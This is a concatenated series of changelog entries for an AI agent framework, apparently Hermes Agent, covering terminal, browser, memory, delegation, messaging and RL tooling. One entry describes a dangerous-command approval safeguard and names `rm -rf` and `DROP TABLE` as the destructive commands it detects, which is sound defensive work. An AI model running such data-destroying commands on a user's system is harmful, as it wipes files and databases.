- Revised descriptions for various tools in model_tools.py, browser_tool.py, code_execution_tool.py, delegate_tool.py, and terminal_tool.py to enhance clarity and reduce verbosity.
- Improved consistency in terminology and formatting across tool descriptions, ensuring users have a clearer understanding of tool functionalities and usage.
- Clarified the usage of the --cdp flag when connecting to an existing Browserbase session.
- Emphasized the importance of not using --session with --cdp to avoid creating a local browser instance in agent-browser >=0.13.
- Updated comments to reflect changes in per-task isolation management with AGENT_BROWSER_SOCKET_DIR.
- Increased the default session inactivity timeout from 2 to 5 minutes to accommodate LLM reasoning during multi-step tasks.
- Enhanced thread safety by implementing locks around session activity tracking and cleanup processes, allowing concurrent access by multiple subagents.
- Removed the stale daemon cleanup function, as it is no longer necessary with the updated session management approach.
- Updated logging and session cleanup logic to ensure proper handling of active sessions and associated resources.
- Updated the stale daemon cleanup function to support multiple patterns for identifying orphaned agent-browser processes, improving reliability across different versions.
- Added logging for stderr output during browser command execution to aid in diagnostics, particularly for capturing warnings from the agent-browser.
- Implemented a warning for empty snapshots returned from the agent-browser, indicating potential issues with stale daemons or CDP connections.
- Upgraded the agent-browser dependency from version 0.7.6 to 0.13.0 in package.json.
- Added functionality to kill stale agent-browser daemon processes in browser_tool.py to prevent orphaned instances from previous runs.
- Replaced getpass with direct reading from /dev/tty to enhance password input handling without echoing.
- Updated threading logic for password input to ensure proper cleanup and error handling.
- Improved visual feedback during password prompt, including clearer separation and timeout messaging.
- Enhanced user experience by providing immediate feedback on password input status.
- Added a spinner to visually indicate task delegation progress in quiet mode, improving user experience during batch processing.
- Implemented a method to update spinner text dynamically based on remaining tasks, providing real-time feedback.
- Enhanced the `delegate_task` function to include per-task completion messages, ensuring clarity on task status during execution.
- Updated the KawaiiSpinner class to allow message updates while running, facilitating better interaction during long-running tasks.
- Introduced the `delegate_task` tool, allowing the main agent to spawn child AIAgent instances with isolated context for complex tasks.
- Supported both single-task and batch processing (up to 3 concurrent tasks) to enhance task management capabilities.
- Updated configuration options for delegation, including maximum iterations and default toolsets for subagents.
- Enhanced documentation to provide clear guidance on using the delegation feature and its configuration.
- Added comprehensive tests to ensure the functionality and reliability of the delegation logic.
- Changed the target parameter from "content" and "files" to "grep" and "find" to better represent their functionality.
- Revised descriptions in the tool definitions and execution code schema to enhance understanding of search modes and output formats.
- Ensured consistency in the handling of search operations across the codebase.
- Updated the tool name from "search" to "search_files" across multiple files to better reflect its functionality.
- Adjusted related documentation and descriptions to ensure clarity in usage and expected behavior.
- Enhanced the toolset definitions and mappings to incorporate the new naming convention, improving overall consistency in the codebase.
- Replaced file locking with atomic file operations using temporary files to prevent race conditions during read/write.
- Added deduplication of memory and user entries to avoid exact duplicates in the memory store.
- Enhanced error handling for duplicate entries and improved logic for managing multiple matches in memory operations.
- Updated docstrings to clarify the behavior of file reading and writing methods, ensuring better understanding of the implementation.
- Updated the default timeout for sandbox script execution from 120 seconds to 300 seconds (5 minutes) to allow longer-running scripts.
- Enhanced comments in the code execution tool to clarify the timeout duration.
- Suppressed stdout and stderr output from internal tool handlers during execution to prevent clutter in the CLI interface.
- Revised docstrings for `web_search` and `web_extract` functions to clarify return types and structure.
- Updated the execution code schema documentation to reflect changes in the output format for both tools, ensuring consistency and improved understanding for users.
- Introduced a new `execute_code` tool that allows the agent to run Python scripts that call Hermes tools via RPC, reducing the number of round trips required for tool interactions.
- Added configuration options for timeout and maximum tool calls in the sandbox environment.
- Updated the toolset definitions to include the new code execution capabilities, ensuring integration across platforms.
- Implemented comprehensive tests for the code execution sandbox, covering various scenarios including tool call limits and error handling.
- Enhanced the CLI and documentation to reflect the new functionality, providing users with clear guidance on using the code execution tool.
- Added a new `clarify_tool` to enable the agent to ask structured multiple-choice or open-ended questions to users.
- Implemented callback functionality for user interaction, allowing the platform to handle UI presentation.
- Updated the CLI and agent to support clarify questions, including timeout handling and response management.
- Enhanced toolset definitions and requirements to include the clarify tool, ensuring availability across platforms.
- Added a new `skill_manager_tool` to enable agents to create, update, and delete their own skills, enhancing procedural memory capabilities.
- Updated the skills directory structure to support user-created skills in `~/.hermes/skills/`, allowing for better organization and management.
- Enhanced the CLI and documentation to reflect the new skill management functionalities, including detailed instructions on creating and modifying skills.
- Implemented a manifest-based syncing mechanism for bundled skills to ensure user modifications are preserved during updates.
- Updated the file glob and include filters in the ShellFileOperations class to escape shell arguments, preventing unintended shell expansion.
- Added comments to clarify the necessity of quoting for file glob patterns.
- Updated the `_search_with_rg` and `_search_with_grep` methods to include filename in the output and improve result handling.
- Adjusted result fetching to account for context lines, ensuring accurate total counts and pagination.
- Enhanced parsing logic for matches and context lines, improving the accuracy of search results.
- Refactored result slicing to maintain consistency across output modes, ensuring users receive the correct number of results.
- Modified the `_exec` method in `ShellFileOperations` to accept `stdin_data`, allowing large content to be piped directly to commands, bypassing ARG_MAX limitations.
- Updated the `execute` method in various environment classes (`_LocalEnvironment`, `_SingularityEnvironment`, `_SSHEnvironment`, `_DockerEnvironment`) to support `stdin_data`, improving command execution flexibility.
- Removed the unique marker generation for heredoc in favor of direct stdin piping, simplifying file writing operations and enhancing performance for large files.
- Eliminated the 'read' action from the memory tool and related logging in the agent, streamlining the available actions to 'add', 'replace', and 'remove'.
- Updated error messages and documentation to reflect the removal of the 'read' action, ensuring clarity in the API's usage.
Two-part implementation:
Part A - Curated Bounded Memory:
- New memory tool (tools/memory_tool.py) with MEMORY.md + USER.md stores
- Character-limited (2200/1375 chars), § delimited entries
- Frozen snapshot injected into system prompt at session start
- Model manages pruning via replace/remove with substring matching
- Usage indicator shown in system prompt header
Part B - SQLite Session Store:
- New hermes_state.py with SessionDB class, FTS5 full-text search
- Gateway session.py rewritten to dual-write SQLite + legacy JSONL
- Compression-triggered session splitting with parent_session_id chains
- New session_search tool with Gemini Flash summarization of matched sessions
- CLI session lifecycle (create on launch, close on exit)
Also:
- System prompt now cached per session, only rebuilt on compression
(fixes prefix cache invalidation from date/time changes every turn)
- Config version bumped to 3, hermes doctor checks for new artifacts
- Disabled in batch_runner and RL environments
Single `todo` tool that reads (no params) or writes (provide todos array
with merge flag). In-memory TodoStore on AIAgent, no system prompt
mutation, behavioral guidance in tool description only. State re-injected
after context compression events. Gateway sessions hydrate from
conversation history. Added to all platform toolsets.
Also wired into RL agent_loop.py with per-run TodoStore and fixed
browser_snapshot user_task passthrough from first user message.
New process registry and tool for managing long-running background processes
across all terminal backends (local, Docker, Singularity, Modal, SSH).
Process Registry (tools/process_registry.py):
- ProcessSession tracking with rolling 200KB output buffer
- spawn_local() with optional PTY via ptyprocess for interactive CLIs
- spawn_via_env() for non-local backends (runs inside sandbox, never on host)
- Background reader threads per process (Popen stdout or PTY)
- wait() with timeout clamping, interrupt support, and transparent limit reporting
- JSON checkpoint to ~/.hermes/processes.json for gateway crash recovery
- Module-level singleton shared across agent loop, gateway, and RL
Process Tool (model_tools.py):
- 7 actions: list, poll, log, wait, kill, write, submit
- Paired with terminal in all toolsets (CLI, messaging, RL)
- Timeout clamping with transparent notes in response
Terminal Tool Updates (tools/terminal_tool.py):
- Replaced nohup background mode with registry spawn (returns session_id)
- Added workdir parameter for per-command working directory
- Added check_interval parameter for gateway auto-check watchers
- Added pty parameter for interactive CLI tools (Codex, Claude Code)
- Updated TERMINAL_TOOL_DESCRIPTION with full background workflow docs
- Cleanup thread now respects active background processes (won't reap sandbox)
Gateway Integration (gateway/run.py, session.py, config.py):
- Session reset protection: sessions with active processes exempt from reset
- Default idle timeout increased from 2 hours to 24 hours
- from_dict fallback aligned to match (was 120, now 1440)
- session_key env var propagated to process registry for session mapping
- Crash recovery on gateway startup via checkpoint probe
- check_interval watcher: asyncio task polls process, delivers updates to platform
RL Safety (environments/):
- tool_context.py cleanup() kills background processes on episode end
- hermes_base_env.py warns when enabled_toolsets is None (loads all tools)
- Process tool safe in RL via wait() blocking the agent loop
Also:
- Added ptyprocess as optional dependency (in pyproject.toml [pty] extra + [all])
- Fixed pre-existing bug: rl_test_inference missing from TOOL_TO_TOOLSET_MAP
- Updated AGENTS.md with process management docs and project structure
- Updated README.md terminal section with process management overview
When using Modal, Docker, SSH, or Singularity as the terminal backend
from the CLI, the agent resolved cwd: "." to the host machine's local
path (e.g. /Users/rewbs/code/hermes-agent) and passed it to the remote
sandbox, where it doesn't exist. All commands failed with "No such file
or directory".
Root cause: cli.py unconditionally resolved "." to os.getcwd() and wrote
it to TERMINAL_CWD regardless of backend type. Every tool then used that
host-local path as the working directory inside the remote environment.
Fixes:
- cli.py: only resolve "." to os.getcwd() for the local backend. For all
remote backends (ssh, docker, modal, singularity), leave TERMINAL_CWD
unset so the tool layer uses per-backend defaults (/root, /, ~, etc.)
- terminal_tool.py: added sanity check -- if TERMINAL_CWD contains a
host-local prefix (/Users/, /home/, C:\) for a non-local backend, log
a warning and fall back to the backend's default
- terminal_tool.py: SSH default CWD is now ~ instead of os.getcwd()
- file_operations.py: last-resort CWD fallback changed from os.getcwd()
to "/" so host paths never leak into remote file operations
- Improved the caching mechanism for ShellFileOperations to ensure stale entries are invalidated when environments are cleaned up.
- Enhanced thread safety by refining the use of locks during environment creation and cleanup processes.
- Streamlined the cleanup of inactive environments to prevent blocking other tool calls, ensuring efficient resource management.
- Added error handling and messaging improvements for better user feedback during environment cleanup.
- Introduced a new cleanup function that ensures terminal and browser sessions are cleaned up only once during application exit.
- Updated atexit registration to use the new cleanup function, enhancing resource management and preventing potential issues from multiple cleanup calls.
- Modified terminal cleanup messaging to only display when environments are cleaned, improving user feedback.
- Updated the vision tool to accept both HTTP/HTTPS URLs and local file paths for image analysis.
- Implemented caching of user-uploaded images in local directories to ensure reliable access for the vision tool, addressing issues with ephemeral URLs.
- Enhanced platform adapters (Discord, Telegram, WhatsApp) to download and cache images, allowing for immediate analysis and enriched message context.
- Added a new method to auto-analyze images attached by users, enriching the conversation with detailed descriptions.
- Improved documentation for image handling processes and updated related functions for clarity and efficiency.
- Added detection of the platform from the environment variable to determine the appropriate audio output format.
- Implemented logic to output Opus (.ogg) files for Telegram when using compatible TTS providers, while defaulting to MP3 for others.
- Introduced a new script, `kill_modal.sh`, to facilitate stopping running Modal apps, including the ability to stop all apps or specific swe-rex sandboxes.
- Enhanced user experience with clear usage instructions and feedback during the stopping process.
- Improved error handling to ensure smooth execution even if some apps fail to stop.
- Removed the skills_categories tool from the skills toolset, streamlining the skills functionality to focus on skills_list and skill_view.
- Updated the system prompt to dynamically build a compact skills index, allowing the model to quickly reference available skills without additional tool calls.
- Cleaned up related code and documentation to reflect the removal of skills_categories, ensuring clarity and consistency across the codebase.
- Added functionality to signal and terminate long-running terminal commands when a new user message is received, allowing for immediate agent response.
- Introduced a global interrupt event in the terminal tool to facilitate early termination of subprocesses.
- Updated the AIAgent class to handle interrupts gracefully, ensuring that remaining tool calls are skipped and appropriate messages are returned to maintain valid message sequences.
- Added a new `_atexit_cleanup` function to handle cleanup of active environments and stop the cleanup thread upon program exit.
- Enhanced logging to inform users about the number of remaining sandboxes being shut down during cleanup.
- Introduced new environments: Terminal Test Environment and SWE Environment, each with default configurations for testing and software engineering tasks.
- Added TerminalBench 2.0 evaluation environment with comprehensive setup for agentic LLMs, including task execution and verification.
- Enhanced ToolContext with methods for uploading and downloading files, ensuring binary-safe operations.
- Updated documentation across environments to reflect new features and usage instructions.
- Refactored existing environment configurations for consistency and clarity.
- Updated the _SingularityEnvironment class to utilize a persistent Apptainer instance, allowing state (files, installs, environment changes) to persist across commands.
- Enhanced the initialization process to start a background instance with full isolation and writable filesystem.
- Modified the execute method to connect to the running instance, ensuring commands run within the same container context.
- Implemented cleanup functionality to stop the persistent instance on cleanup or destruction, improving resource management.
- Updated class documentation to reflect new features and usage of the persistent environment.
- Added checks for local installation of the agent-browser CLI in the `_find_agent_browser` function, improving installation guidance.
- Implemented per-task socket directory management in `_run_browser_command` to prevent concurrency issues.
- Updated `cleanup_browser` to remove per-task socket directories, ensuring proper resource cleanup after task completion.
- Refactored comments for clarity and improved documentation throughout the browser tool code.
- Changed the default LLM model in the setup wizard and example environment file to 'anthropic/claude-opus-4.6'.
- Updated terminal working directory settings in CLI and related files to use the current directory ('.') instead of '/tmp'.
- Enhanced documentation comments for clarity on terminal configuration and working directory behavior.
- Updated `.gitignore` to exclude `testlogs` directory.
- Refactored `handle_web_function_call` in `model_tools.py` to support running async functions in existing event loops, improving compatibility with Atropos.
- Introduced a thread pool executor in `agent_loop.py` for running synchronous tool calls that internally use `asyncio.run()`, preventing deadlocks.
- Added `ToolError` class to track tool execution errors, enhancing error reporting during agent loops.
- Updated `wandb_log` method in `hermes_base_env.py` to log tool error statistics for better monitoring.
- Implemented patches in `patches.py` to ensure async-safe operation of tools within Atropos's event loop.
- Enhanced `ToolContext` and `terminal_tool.py` to utilize the new async handling, improving overall tool execution reliability.
- Added `prompt_toolkit` as a direct dependency for interactive CLI support.
- Updated `modal` optional dependency to require `swe-rex[modal]>=1.4.0` for improved cloud execution capabilities.
- Enhanced `messaging` optional dependencies to include `aiohttp>=3.9.0` for WhatsApp bridge communication.
- Refined installation scripts to check for Python version requirements, emphasizing the need for Python 3.11+ for RL training tools.
- Improved setup scripts to ensure proper installation of submodules and dependencies, enhancing user experience during setup.
- Introduced file manipulation capabilities in `model_tools.py`, including functions for reading, writing, patching, and searching files.
- Added a new `file` toolset in `toolsets.py` and updated distributions to include file tools.
- Enhanced `setup-hermes.sh` and `install.sh` scripts to check for and optionally install `ripgrep` for faster file searching.
- Implemented a new `file_operations.py` module to encapsulate file operations using shell commands.
- Updated `doctor.py` and `install.ps1` to check for `ripgrep` and provide installation guidance if not found.
- Added fuzzy matching and patch parsing capabilities to improve file manipulation accuracy and flexibility.
- Added unique run ID generation for WandB tracking during test inference.
- Enabled WandB usage for test tracking and updated command-line arguments accordingly.
- Implemented real-time output streaming for process execution, improving log visibility and debugging.
- Enhanced error handling to display last few lines of stderr for better troubleshooting.
- Modified `model_tools.py` to update default model IDs and add new RL function `rl_test_inference`.
- Enhanced `README.md` with installation instructions for submodules and updated API key usage.
- Improved `rl_cli.py` to load configuration from `~/.hermes/config.yaml` and set terminal working directory for RL tools.
- Updated `run_agent.py` to handle empty string arguments as empty objects for better JSON validation.
- Refined installation scripts to ensure submodules are cloned and installed correctly, enhancing setup experience.
- Added the tinker-atropos submodule for enhanced RL training capabilities.
- Updated model_tools.py to reorder RL function definitions and improve descriptions.
- Modified rl_cli.py to include checks for the tinker-atropos setup and provide user guidance.
- Adjusted toolsets.py and __init__.py to reflect changes in RL function availability.
- Enhanced rl_training_tool.py to manage training processes directly without a separate API server.
- Updated `.env.example` to include Tinker and WandB API keys for reinforcement learning training.
- Enhanced `model_tools.py` to clarify configuration options and streamline the RL training process.
- Expanded `README.md` with detailed instructions for setting up RL training using Tinker and WandB.
- Modified `hermes_cli` files to integrate RL training tools and ensure proper configuration checks.
- Improved `rl_training_tool.py` to reflect changes in training parameters and configuration management.
- Updated the `skills_categories` function to include a `verbose` parameter, allowing users to request skill counts per category.
- Modified the `handle_skills_function_call` method to pass the `verbose` argument to `skills_categories`.
- Improved error handling in the `AIAgent` class by injecting a recovery message when invalid JSON arguments are detected, guiding users on how to correct their tool calls.
- Enhanced the `GatewayRunner` to return a user-friendly error message if the agent fails to generate a final response, improving overall user experience.
- Updated the terminal tool's command approval flow to improve user interaction when executing potentially dangerous commands, replacing the previous confirmation method with a clear explanation and instructions for adding commands to the allowlist.
- Removed the internal `force` parameter from the model API, ensuring that dangerous command approvals are handled solely through user prompts.
- Enhanced the CLI to provide better feedback regarding tool availability, including improved messaging for enabled and disabled toolsets.
- Updated AGENTS.md to reflect changes in the command approval process and configuration instructions.
- Added a safety mechanism to detect and approve potentially dangerous commands (e.g., `rm -rf`, `DROP TABLE`).
- Introduced an approval flow for local/SSH backends, prompting users for confirmation with options to allow once, for the session, or permanently.
- Updated configuration to include a `command_allowlist` for storing approved patterns.
- Enhanced messaging for sudo failures in messaging contexts.
- Updated relevant documentation in AGENTS.md and TODO.md to reflect these changes.
- Changed default Docker, Singularity, and Modal images in configuration files to use "nikolaik/python-nodejs:python3.11-nodejs20" for improved compatibility.
- Updated the default model in the configuration to "anthropic/claude-sonnet-4.5" and adjusted related setup prompts for API provider configuration.
- Introduced a new CLI option for selecting a custom OpenAI-compatible endpoint, enhancing flexibility in model provider setup.
- Enhanced the prompt choice functionality to support arrow key navigation for better user experience in CLI interactions.
- Updated documentation in relevant files to reflect these changes and improve user guidance.
- Updated CLI to load configuration from user-specific and project-specific YAML files, prioritizing user settings.
- Introduced a new command `/platforms` to display the status of connected messaging platforms (Telegram, Discord, WhatsApp).
- Implemented a gateway system for handling messaging interactions, including session management and delivery routing for cron job outputs.
- Added support for environment variable configuration and a dedicated gateway configuration file for advanced settings.
- Enhanced documentation in README.md and added a new messaging.md file to guide users on platform integrations and setup.
- Updated toolsets to include platform-specific capabilities for Telegram, Discord, and WhatsApp, ensuring secure and tailored interactions.
- Introduced a new cron job system allowing users to schedule automated tasks via the CLI, supporting one-time reminders and recurring jobs.
- Added commands for managing cron jobs: `/cron` to list jobs, `/cron add` to create new jobs, and `/cron remove` to delete jobs.
- Implemented job storage in `~/.hermes/cron/jobs.json` with output saved to `~/.hermes/cron/output/{job_id}/{timestamp}.md`.
- Enhanced the CLI and README documentation to include detailed usage instructions and examples for cron job management.
- Integrated cron job tools into the hermes-cli toolset, ensuring they are only available in interactive CLI mode.
- Added support for cron expression parsing with the `croniter` package, enabling flexible scheduling options.
- Implemented automatic session logging, saving conversation trajectories to the `logs/` directory in JSON format, with each session having a unique identifier.
- Updated the CLI to display the session ID in the welcome banner for easy reference.
- Introduced an interactive sudo password prompt in CLI mode, allowing users to enter their password with a 45-second timeout, enhancing user experience during command execution.
- Documented session logging and interactive sudo features in `README.md`, `cli.md`, and `cli-config.yaml.example` for better user guidance.
- Added support for sudo commands in local, Docker, Singularity, and SSH environments by introducing the `SUDO_PASSWORD` environment variable.
- Updated terminal tool configurations in `.env.example` and `cli-config.yaml.example` to document the new sudo functionality.
- Enhanced the command execution process to handle sudo commands gracefully, preventing hangs on interactive prompts and providing clear error messages when no password is configured.
- Updated `README.md` to include instructions for using sudo support and SSH backend configuration.
- Revised `TODO.md` to reflect the completion of the sudo feature and outline future enhancements.
- Added detailed descriptions for new skills categories: Machine Learning Operations and Note Taking.
- Introduced a new Obsidian skill with commands for reading, listing, searching, creating, and appending notes.
- Enhanced the skills tool to load and display category descriptions from DESCRIPTION.md files, improving user guidance and discovery of available skills.
- Updated `.env.example` to include `BROWSER_INACTIVITY_TIMEOUT` for auto-cleanup of inactive sessions.
- Enhanced `cli.py` to load the new inactivity timeout configuration into environment variables.
- Added background thread functionality in `browser_tool.py` to periodically clean up inactive browser sessions based on the configured timeout.
- Improved session management by tracking last activity timestamps and ensuring cleanup occurs when sessions exceed inactivity limits.
- Introduced `cli-config.yaml.example` to provide a template for configuring the CLI behavior, including model settings, terminal tool configurations, agent behavior, and toolsets.
- Created `cli.py` for an interactive terminal interface, allowing users to start the Hermes Agent with various options and toolsets.
- Added `hermes` launcher script for convenient CLI access.
- Updated `model_tools.py` to support quiet mode for suppressing output during tool initialization and execution.
- Enhanced logging in various tools to respect quiet mode, improving user experience by reducing unnecessary output.
- Added `prompt_toolkit` to `requirements.txt` for improved CLI interaction capabilities.
- Created `TODO.md` for future improvements and enhancements to the Hermes Agent framework.
- Introduced new skills tools: `skills_categories`, `skills_list`, and `skill_view` in `model_tools.py`, allowing for better organization and access to skill-related functionalities.
- Updated `toolsets.py` to include a new `skills` toolset, providing a dedicated space for skill tools.
- Enhanced `batch_runner.py` to recognize and validate skills tools during batch processing.
- Added comprehensive tool definitions for skills tools, ensuring compatibility with OpenAI's expected format.
- Created new shell script `test_skills_kimi.sh` for testing skills tool functionality with Kimi K2.5.
- Added example skill files demonstrating the structure and usage of skills within the Hermes-Agent framework, including `SKILL.md` for example and audiocraft skills.
- Improved documentation for skills tools and their integration into the existing tool framework, ensuring clarity for future development and usage.
- Modified `.env.example` to set the default terminal environment to 'singularity' and updated Docker and Singularity image references for better compatibility.
- Enhanced `run_mixed_tasks.sh` and `run_terminal_tasks.sh` scripts to utilize the new Singularity setup, including improved logging and cache directory management.
- Introduced functionality in `terminal_tool.py` to automatically build and cache SIF images from Docker URLs, streamlining the execution environment setup.
- Updated logging messages for clarity on image usage and cache directory paths.
- Updated logging configuration in `run_agent.py` to suppress debug messages from additional third-party libraries, reducing noise in logs.
- Enhanced shell scripts for terminal tasks to utilize Singularity for containerized execution, including pre-build SIF image logic and improved logging.
- Refactored tool initialization in `mixture_of_agents_tool.py`, `vision_tools.py`, and `web_tools.py` to implement lazy loading of API clients, optimizing resource usage and error handling.
- Updated ephemeral system prompts in shell scripts to provide clearer guidance on task execution and resource usage.
- Introduced new browser automation tools in `browser_tool.py` for navigating, interacting with, and extracting content from web pages using the agent-browser CLI and Browserbase cloud execution.
- Updated `.env.example` to include new configuration options for Browserbase API keys and session settings.
- Enhanced `model_tools.py` and `toolsets.py` to integrate browser tools into the existing tool framework, ensuring consistent access across toolsets.
- Updated `README.md` with setup instructions for browser tools and their usage examples.
- Added new test script `test_modal_terminal.py` to validate Modal terminal backend functionality.
- Improved `run_agent.py` to support browser tool integration and logging enhancements for better tracking of API responses.
- Updated `.env.example` to include new API keys and configuration options for the mini-swe-agent backend, including support for local, Docker, and Modal environments.
- Added `.gitmodules` to include mini-swe-agent as a submodule for easier integration.
- Refactored `mini_swe_runner.py` to use the updated model format and default to OpenRouter for API calls.
- Enhanced `model_tools.py` to support the new terminal tool definitions and ensure compatibility with the mini-swe-agent backend.
- Updated `README.md` to reflect changes in setup instructions and environment variable configurations.
- Improved `terminal_tool.py` to manage execution environments and lifecycle, ensuring proper cleanup and error handling.
- Introduced `terminal_hecate.py` for executing commands on MorphCloud VMs, providing an alternative backend for terminal operations.
- Updated batch processing to include robust resume functionality by scanning completed prompts based on content rather than indices, improving recovery from failures.
- Implemented retry logic for image downloads with exponential backoff to handle transient failures effectively.
- Refined image generation tool to utilize the FLUX 2 Pro model, updating descriptions and parameters for clarity and consistency.
- Added new configuration scripts for GLM 4.7 and Imagen tasks, enhancing usability and logging capabilities.
- Removed outdated scripts and test files to streamline the codebase.
- Introduced normalization functions for tool statistics and error counts to ensure consistent schema across all trajectory entries, facilitating compatibility with HuggingFace datasets.
- Updated batch processing to utilize normalized tool stats and error counts, improving data integrity.
- Refactored vision tools and mixture of agents tool to integrate with OpenRouter API, replacing Nous Research API references and updating model configurations.
- Enabled reasoning capabilities in API calls for enhanced response quality across various tools.
- Improved error handling and API key validation for OpenRouter integration.
- Added support for tracking partial results and tool error counts in batch processing.
- Implemented filtering of corrupted entries during batch file combination based on valid tool names.
- Updated terminal tool to improve command execution and error handling, including retry logic for transient failures.
- Refactored model tools to use a simple terminal tool with no session persistence.
- Improved logging and error messages for invalid API responses and tool calls.
- Introduced chunked processing for large content in web tools to manage size limitations effectively.
